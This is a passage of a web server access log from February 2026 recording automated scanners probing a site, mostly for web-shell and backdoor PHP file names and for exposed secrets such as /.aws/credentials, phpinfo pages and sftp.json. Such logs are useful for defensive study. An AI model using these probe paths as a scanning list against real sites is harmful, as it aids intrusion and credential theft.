Safari/604.1" 103.77.106.81 - - [07/Feb/2026:06:25:51 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 190.112.193.15 - - [07/Feb/2026:06:19:36 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 117.33.163.216 - - [07/Feb/2026:07:02:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.113.19.56 - - [07/Feb/2026:08:34:22 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:25 +0300] "GET /nnyvn.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:29 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:31 +0300] "GET /lul.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:34 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:37 +0300] "GET /ya.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:38 +0300] "GET /xmff.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:40 +0300] "GET /oDR.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:44 +0300] "GET /ftem.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:47 +0300] "GET /Ova-Simple.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:50 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:57 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:35:00 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:35:03 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:35:06 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:35:47 +0300] "GET /406.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:35:49 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:36:50 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:37:14 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:37:53 +0300] "GET /pm.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:37:56 +0300] "GET /karak.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:38:02 +0300] "GET /trd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:38:32 +0300] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:39:39 +0300] "GET /tcp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:40:24 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:40:24 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:40:27 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:40:38 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:40:41 +0300] "GET /ioxi2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:40:44 +0300] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:03 +0300] "GET /file17.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:55 +0300] "GET /cbrfo.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:58 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:00 +0300] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:04 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:06 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:43:00 +0300] "GET /f355.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:43:15 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:44:11 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:44:11 +0300] "GET //wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:44:33 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:44:33 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:16 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:18 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:22 +0300] "GET /temp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:45 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:35:37 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:38:14 +0300] "GET /past.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:38:26 +0300] "GET /i.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:38:55 +0300] "GET /aw.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:39:02 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:39:14 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:40:02 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:37 +0300] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:44 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:42 +0300] "GET /ddd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:43:46 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:46:44 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:46:57 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:47:12 +0300] "GET /blurbs18.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:47:46 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:36:25 +0300] "GET /anna.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:36:29 +0300] "GET /admiin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:36:38 +0300] "GET /jmfi2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:39:33 +0300] "GET /wp-gr.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:39:45 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:39:48 +0300] "GET /jlex3.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:40:11 +0300] "GET /ov.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:40:49 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:08 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:48 +0300] "GET /Ova-Simple.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:48 +0300] "GET /lc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:51 +0300] "GET /hexx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:48 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:43:26 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:43:30 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:43:30 +0300] "GET /xpwer1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:47:26 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:47:29 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:47:31 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:47:32 +0300] "GET /wp-includes/ID3/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:27 +0300] "GET /admins.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:30 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:34 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:45 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 3.80.193.75 - - [07/Feb/2026:08:36:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 40.113.19.56 - - [07/Feb/2026:08:36:18 +0300] "GET /ffd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:36:34 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:37:06 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:37:45 +0300] "GET /wsback.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:39:26 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:11 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:14 +0300] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:17 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:23 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:25 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:27 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:30 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:34 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:42:36 +0300] "GET /thebe.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:43:06 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:44:53 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:44:53 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:45:25 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:45:30 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:45:53 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:45:57 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:46:29 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:47:41 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:36:05 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:37:37 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:39:55 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:39:58 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:44:00 +0300] "GET /wp-admin/images/commentv.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:44:26 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:44:26 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:45:10 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:47:55 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:47:57 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:01 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:04 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:07 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:15 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:34:17 +0300] "GET /V2_xml.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:35:22 +0300] "GET /te.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:35:26 +0300] "GET /fot.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:35:29 +0300] "GET /x--krood.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:36:11 +0300] "GET /dev1s.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:36:55 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:36:57 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:37:00 +0300] "GET /cfile.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:37:24 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:37:27 +0300] "GET /style2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:37:30 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:38:42 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:38:42 +0300] "GET /super.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:40:56 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:40:58 +0300] "GET /async.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:14 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:20 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:24 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:27 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:41:31 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:43:37 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:44:38 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:44:45 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:44:45 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:45:04 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:47:20 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:49 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:52 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:53 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:56 +0300] "GET /nyan.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:59 +0300] "GET /jsond.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:36:45 +0300] "GET /ez.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:39:08 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:45:15 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:46:08 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:35:15 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:35:59 +0300] "GET /vdb.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:37:19 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:37:19 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:38:20 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:40:17 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:45:44 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:45:44 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:45:45 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:46:02 +0300] "GET /jane.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:46:14 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:46:18 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:46:22 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:46:34 +0300] "GET //class.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:46:50 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:47:03 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.56 - - [07/Feb/2026:08:48:39 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 217.217.250.193 - - [07/Feb/2026:08:59:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 217.217.250.193 - - [07/Feb/2026:08:59:58 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 51.68.111.199 - - [07/Feb/2026:09:25:24 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 51.68.111.199 - - [07/Feb/2026:09:25:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 20.110.243.199 - - [07/Feb/2026:09:42:25 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:09:42:28 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:09:42:28 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:09:42:28 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:09:42:31 +0300] "GET /wwx.php HTTP/1.1" 301 795 "-" "-" 103.225.87.116 - - [07/Feb/2026:10:30:23 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.110.243.199 - - [07/Feb/2026:09:42:10 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:09:42:10 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:09:42:13 +0300] "GET /ws38.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:09:42:20 +0300] "GET /bnn_.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:09:42:36 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:09:42:38 +0300] "GET /uploaxa1.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:09:42:40 +0300] "GET /rzzaq.php HTTP/1.1" 301 795 "-" "-" 20.110.243.199 - - [07/Feb/2026:09:42:04 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.166.237.57 - - [07/Feb/2026:11:30:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.109.200.4 - - [07/Feb/2026:12:23:17 +0300] "GET /server-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 94.103.88.24 - - [07/Feb/2026:12:22:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:22:56 +0300] "GET /php_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:22:58 +0300] "GET /i.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:23:00 +0300] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:23:02 +0300] "GET /config.phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:23:04 +0300] "GET /admin/phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:23:07 +0300] "GET /.aws/credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:23:10 +0300] "GET /pinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:23:12 +0300] "GET /phpinfo2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:23:18 +0300] "GET /env.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:22:45 +0300] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:22:47 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:22:48 +0300] "GET /_profiler/phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:22:50 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:22:53 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:23:20 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:22:38 +0300] "GET /phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.109.200.4 - - [07/Feb/2026:12:23:13 